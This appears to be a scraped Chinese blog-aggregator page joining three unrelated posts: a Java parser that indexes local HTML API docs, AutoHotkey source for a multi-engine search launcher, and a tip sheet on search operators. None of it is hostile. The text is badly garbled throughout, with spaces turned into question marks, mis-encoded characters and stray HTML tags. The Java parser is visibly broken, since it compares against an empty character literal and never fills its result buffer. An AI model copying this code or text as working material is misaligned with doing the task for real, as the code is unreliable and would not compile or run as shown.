/>????????????????if(ret==-1)?{<br />????????????????????????break;<br />????????????????????}<br />????????????????????char?c=(char)?ret;<br />????????????????????if(isCopy){<br />????????????????????????if(c==''){<br />????????????????????????????isCopy=true;<br />????????????????????????}<br />????????????????????}<br />????????????}<br /><br />????????????return??content.toString();<br />????????}?catch?(FileNotFoundException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????????return?"";<br />????}<br />
　　這一模塊總的代碼塊如下：
　　import?java.io.File;<br />import?java.io.FileNotFoundException;<br />import?java.io.FileReader;<br />import?java.io.IOException;<br />import?java.util.ArrayList;<br /><br />//讀取剛剛文檔<br />public?class?Parser?{<br />?????private?static?final??String?INPUT_PATH="D:/test/docs/api";<br />??????public??void?run(){<br />??????????//整個(gè)Parser類(lèi)的入口<br />??????????//1.根據路徑，去枚舉出所有的文件.（html）；<br />??????????ArrayList?fileList=new?ArrayList();<br />??????????enumFile(INPUT_PATH,fileList);<br />??????????System.out.println(fileList);<br />??????????System.out.println(fileList.size());<br />??????????//2.針對上面羅列出的文件，打開(kāi)文件，讀取文件內容，并進(jìn)行解析<br />??????????for?(File?f:fileList){<br />??????????????System.out.println("開(kāi)始解析"+f.getAbsolutePath());<br />??????????????parseHTML(f);<br />??????????}<br />??????????//3.把在內存中構造好的索引數據結構，保定到指定的文件中。<br />??????}<br /><br /><br />????private??String?parseTitle(File?f)?{<br />??????????String?name=?f.getName();<br />?????????return?name.substring(0,f.getName().length()-5);<br /><br />????}<br />????private??String?parseUrl(File?f)?{<br />??????String?part1="https://docs.oracle.com/javase ... %3Bbr />?????????String?part2=f.getAbsolutePath().substring(INPUT_PATH.length());<br />??????????return?part1+part2;<br />????}<br />????private??String?parseContent(File?f)?throws?IOException?{<br />??????????//先按照一個(gè)一個(gè)字符來(lái)讀取，以作為開(kāi)關(guān)<br />????????try(FileReader?fileReader=new?FileReader(f))?{<br />????????????//加上一個(gè)是否拷貝的開(kāi)關(guān).<br />????????????boolean?isCopy=true;<br />????????????//還需要準備一個(gè)結果保存<br />????????????StringBuilder?content=new?StringBuilder();<br />????????????while?(true){<br />????????????????//此處的read的返回值是int，不是char<br />????????????????//如果讀到文件末尾，就會(huì )返回-1，這是用int的好處；<br />????????????????int??ret?=?0;<br />????????????????try?{<br />????????????????????ret?=?fileReader.read();<br />????????????????}?catch?(IOException?e)?{<br />????????????????????e.printStackTrace();<br />????????????????}<br />????????????????if(ret==-1)?{<br />????????????????????????break;<br />????????????????????}<br />????????????????????char?c=(char)?ret;<br />????????????????????if(isCopy){<br />????????????????????????if(c==''){<br />????????????????????????????isCopy=true;<br />????????????????????????}<br />????????????????????}<br />????????????}<br /><br />????????????return??content.toString();<br />????????}?catch?(FileNotFoundException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????????return?"";<br />????}<br />????private?void?parseHTML?(File?f){<br />????????//解析出標題<br />??????????String?title=parseTitle(f);<br />????????//解析出對應的url<br />??????????String?url=parseUrl(f);<br />????????//解析出對應的正文<br />????????try?{<br />????????????String?content=parseContent(f);<br />????????}?catch?(IOException?e)?{<br />????????????e.printStackTrace();<br />????????}<br />????}<br />??????//第一個(gè)參數表示從哪里開(kāi)始遍歷?//第二個(gè)表示結果。<br />??????private?void?enumFile(String?inputPath,ArrayListfileList){<br />?????????File?rootPath=new?File(inputPath);<br />?????????//listFiles?能夠獲取到一層目錄下的文件<br />????????File[]?files=?rootPath.listFiles();<br />?????????for(File?f:files){<br />?????????????//根據當前f的類(lèi)型判斷是否遞歸。<br />?????????????//如果f是一個(gè)普通文件，就把f加入到fileList里面<br />?????????????//如果不是就調用遞歸<br />?????????????if(f.isDirectory()){<br />?????????????????enumFile(f.getAbsolutePath(),fileList);<br />?????????????}else?{<br />?????????????????if(f.getAbsolutePath().endsWith(".html"))<br />?????????????????fileList.add(f);<br />?????????????}<br />?????????}<br />??????}<br />????public?static?void?main(String[]?args)?{<br />????????//通過(guò)main方法來(lái)實(shí)現整個(gè)制作索引的過(guò)程<br />????????Parser?parser=new?Parser();<br />????????parser.run();<br />????}<br />}
　　來(lái)源：/m0_57315623/article/details/123829698
　　推薦：
　　
　　PS：因為公眾號平臺更改了推送規則，如果不想錯過(guò)內容，記得讀完點(diǎn)一下“在看”，加個(gè)“星標”，這樣每次新文章推送才會(huì )第一時(shí)間出現在你的訂閱列表里。點(diǎn)“在看”支持我們吧！ 查看全部

　　聚合搜索工具升級版源碼
　　學(xué)會(huì )搜索真的很重要,能用搜索引擎解決的就沒(méi)必要問(wèn)來(lái)問(wèn)去,所以這個(gè)小工具是給還不怎么會(huì )搜索的同學(xué)用的.
　　演示
　　之前發(fā)的小工具的升級版,自用的時(shí)候用一個(gè)類(lèi)似控制臺的軟件來(lái)激活,或者自己定義快捷鍵
　　同步ahk社區的文章發(fā)布
　　主要功能,
　　1.多個(gè)搜索引擎可選批量搜索
　　2.開(kāi)啟時(shí)自動(dòng)添加剪切板作為關(guān)鍵詞
　　3.提示選擇不常見(jiàn)的搜索引擎高級語(yǔ)法,再也不用臨時(shí)查一下語(yǔ)法怎么用了
　　3.專(zhuān)門(mén)對搜索編程語(yǔ)法加入了一些強化,目前僅有加入編程語(yǔ)言后綴這個(gè)功能,之后再加
　　4.快速添加常用網(wǎng)站內搜索
　　5.后續會(huì )添加快速添加常用網(wǎng)站目錄以及對編程相關(guān)內容的搜索強化,以及一些編輯強化的功能吧,
　　源碼
　　<br /><br />#IfWinActive ahk_id hedit ^ & Enter:: Gosub Search#IfWinActive#s:: Gosub MSearch<br />MSearch: Engine:= {Bing:"https://www.bing.com/search%3F ... ot%3B , Bai:"https://www.baidu.com/s?wd=" , Google:"https://www.google.com/search?q=" , zhi:"https://www.zhihu.com/search%3 ... ot%3B , Git:"https://github.com/search?utf8=`%E2`%9C`%93&q="} copy() gui,Destroy Gui Add, Text, w-2 h-2 section Gui Add, Text, y+5 section,<br /> For k,v in Engine Gui Add, CheckBox, % ((k ~= "Google") ? "Checked" : "") . " x+5 v" k,%k%<br /> Gui add, DropDownList, y+5 xs w120 v搜索語(yǔ)法添加 g搜索語(yǔ)法,標題|內容|鏈接錨點(diǎn)|網(wǎng)站|url|特定類(lèi)型文件|關(guān)聯(lián)|信息|搜索語(yǔ)法提示|| Gui add, DropDownList,x+5 w120 v網(wǎng)站模板添加 g網(wǎng)站模板,政府|stackoverflow|指定網(wǎng)站模板||<br /> Gui add, DropDownList,x+5 w120 v編程語(yǔ)言后綴 g編程語(yǔ)言,js|python|c|ahk|編程語(yǔ)言搜索|| gui, font, s20, Verdana Gui Add, Edit ,xs-4 w500 h100 Hwndhedit vKeywords,%Clipboard% Gui Add,Button, xs-4 gSearch,Search Gui Show, ,MSearchreturn<br />; bom<br />Search: Gui submit, NoHide For i,n in Engine { If %i% = 1 run , % Engine[i] . RegExReplace(Keywords,"%","%25") }return<br />搜索語(yǔ)法: Gui submit, NoHide 搜索語(yǔ)法:="" switch 搜索語(yǔ)法添加 { case "標題": 搜索語(yǔ)法:=" intitle:" case "內容": 搜索語(yǔ)法:=" intext:" case "鏈接錨點(diǎn)": 搜索語(yǔ)法:=" inanchor:login" case "網(wǎng)站": 搜索語(yǔ)法:=" site:" case "url": 搜索語(yǔ)法:=" inurl:" case "鏈接特定url": 搜索語(yǔ)法:=" link:www.baidu.com" case "特定類(lèi)型文件": 搜索語(yǔ)法:=" filetype:" case "關(guān)聯(lián)": 搜索語(yǔ)法:=" related:" case "信息": 搜索語(yǔ)法:=" info:" } AppendEdit(hedit, 搜索語(yǔ)法) Return<br /> 網(wǎng)站模板: Gui submit, NoHide 網(wǎng)站模板:="" switch 網(wǎng)站模板添加 { case "政府": 網(wǎng)站模板:=" site:gov.cn" case "stackoverflow": 網(wǎng)站模板:=" site:stackoverflow.com"<br /> } AppendEdit(hedit, 網(wǎng)站模板) Return<br /> 編程語(yǔ)言: Gui submit, NoHide 編程語(yǔ)言:="" switch 編程語(yǔ)言后綴 { case "js": 編程語(yǔ)言:=" js" case "python": 編程語(yǔ)言:=" python" case "c": 編程語(yǔ)言:=" c" case "ahk": 編程語(yǔ)言:=" ahk" } AppendEdit(hedit, 編程語(yǔ)言) Return<br /> AppendEdit(hEdit, text) { text .= "`r`n" SendMessage, 0xB1, -2, -1,, ahk_id %hEdit% ; EM_SETSEL SendMessage, 0xC2, 0, &text,, ahk_id %hEdit% ; EM_REPLACESEL SendMessage, 0x115, 7, 0,, ahk_id %hEdit% ; WM_VSCROLL } 查看全部

　　搜商 | 4個(gè)搜索命令，助你事半功倍
　　網(wǎng)絡(luò )時(shí)代的到來(lái)給我們提供了豐富的信息資源，在翻譯的過(guò)程中，我們經(jīng)常會(huì )通過(guò)搜索引擎來(lái)了解背景知識、查證術(shù)語(yǔ)。
　　然而，從海量的網(wǎng)絡(luò )信息中準確獲取所需內容也成為新的難點(diǎn)。你是否遇到過(guò)花費大量時(shí)間卻仍找不到滿(mǎn)意結果的情況？
　　以下4個(gè)搜索技巧，能幫助我們提高效率，快速精準地檢索到想要的信息。
　　雙引號
　　通過(guò)這一指令，可進(jìn)行完全匹配檢索。
　　有時(shí)，搜索引擎會(huì )對我們輸入的檢索詞進(jìn)行拆分，導致搜索結果不能如我們所愿。比如，當我們輸入翻譯技術(shù)教育，會(huì )出現只包含部分關(guān)鍵詞翻譯技術(shù)的結果，甚至還有一些不相關(guān)的內容。
　　這種情況下，我們可以用雙引號將檢索詞括起來(lái)，將其作為一個(gè)整體。
　　比如，輸入"翻譯技術(shù)教育"，搜索結果中就會(huì )包含雙引號中出現的所有字詞，連順序也完全匹配。
　　我們可以從以下兩張圖片中，看到不加雙引號與加雙引號的區別。加上雙引號后，相關(guān)結果從原來(lái)的2060萬(wàn)個(gè)減少到了68個(gè)，大大提高了精確度。
　　
　　
　　關(guān)鍵詞+空格+site:+網(wǎng)址
　　通過(guò)這一指令，可以在指定網(wǎng)站上搜索相應的關(guān)鍵詞。
　　比如，輸入 新能源公交車(chē)輛 site:，其結果便是中國日報網(wǎng)上關(guān)于“新能源公交車(chē)輛”的內容。
　　
　　另外，如果我們想在政府官網(wǎng)或學(xué)校官網(wǎng)等某一類(lèi)網(wǎng)站搜索相關(guān)信息，可以在site:后加上域名后綴，比如site:.或者site:.。
　　關(guān)鍵詞+空格+filetype:+文件格式
　　通過(guò)這一指令，可以搜索pdf、doc、xls、ppt等指定文件格式的資源。
　　比如，輸入 translation technology filetype:pdf，搜索結果就是包含translation technology這個(gè)關(guān)鍵詞的所有pdf文件。
　　
　　intitle:+關(guān)鍵詞
　　通過(guò)這一指令，可以限定所檢索的關(guān)鍵詞必須出現在搜索結果的標題中。
　　比如，輸入intitle:翻譯技術(shù)的應用，就可以過(guò)濾掉那些沒(méi)有在標題中提及關(guān)鍵詞的結果。
　　
　　
　　學(xué)習搜索技巧，提高“搜商”，能讓我們更好更快地解決問(wèn)題，不至于淹沒(méi)在互聯(lián)網(wǎng)的海量信息之中?？炜煸嚻饋?lái)吧！
　　END
　　【往期回顧】
　　
　　
　　微信公眾號
　　語(yǔ)言服務(wù)行業(yè) 查看全部